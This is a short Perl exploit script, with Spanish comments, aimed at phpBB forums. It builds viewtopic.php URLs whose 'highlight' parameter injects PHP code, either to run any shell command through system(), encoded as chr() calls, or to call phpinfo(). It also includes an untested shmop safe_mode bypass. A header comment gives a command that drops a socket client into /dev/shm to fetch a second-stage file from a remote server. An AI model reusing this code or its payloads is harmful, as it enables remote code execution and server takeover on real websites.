#!/usr/bin/perl
#simkin, badchecksum
#comando a ejecutar para subir un pequeño cliente que baje algo desde un server remoto:
#ESTO->"echo \"use IO::Socket;my \\\$s=new IO::Socket::INET(PeerAddr=>(shift||\\\$ARGV[1]),PeerPort=>(shift||\\\$ARGV[2]),Proto=>'tcp');open(F,\\\"> d.pl\\\");\\\$i=<\\\$s>;print F \\\$i;close(F);close(\\\$socket);\" > /dev/shm/mad.pl"

sub str2chr($);

$opt = shift;
$url = shift;

if($opt eq "-e") {
	if ($#ARGV != 0) {
		goto help;
	}
	$command = shift;
	$exp = '&highlight=%2527%252Esystem(' . comm2chr($command) . ')%252e%2527';

} else { 
	if($opt eq "-i") {
		$exp = '&highlight=%2527%252Eprint(phpinfo())%252e%2527';
		if ($#ARGV != -1) {
			goto help;
		}
	} else { 
		if($opt eq "-s") {
			#no he conseguido explotarlo aunque solo he probado una vez, ademas, esta cadena en concreto puede tener errores, tampoco la he probado
			#el offset es el que venia en el proof of concept en decimal asi que lo mas seguro es que no sirva..
			$exp = '$s=shmop_open(0xff2,chr(99),0644,100)%252eshmop_write($s,0x00,-3842685)%252eshmop_delete($s)%252eshmop_close($s)';
			if ($#ARGV != -1) {
				goto help;
			}
		} else {
			goto help;
		}
	}
}

if(!($url =~ m/(htt[ps]:\/\/.*\/viewtopic.php\?t=[0-9]+)/)) {
	goto help;
}

print "\n$url$exp\n\n";
exit;

sub comm2chr($) {
	my $s = shift;
	$s =~ s/(.)/'chr('.ord($1).')%252e'/seg;
 	$s =~ s/%252e$//g;
	return $s;
}

help:

print "\n Usage: phpbbexploit.pl <option> url <command>\n";
print " <option> -e : system() -i : phpinfo() -s : shmop functions safe_mode bypass\n";
print " <url> debe ser una url del tipo \"[http] o [https] ://A/viewtopic.php?t=B\"\n";
print " A: dominio, B: numero del topic\n\n";
exit;
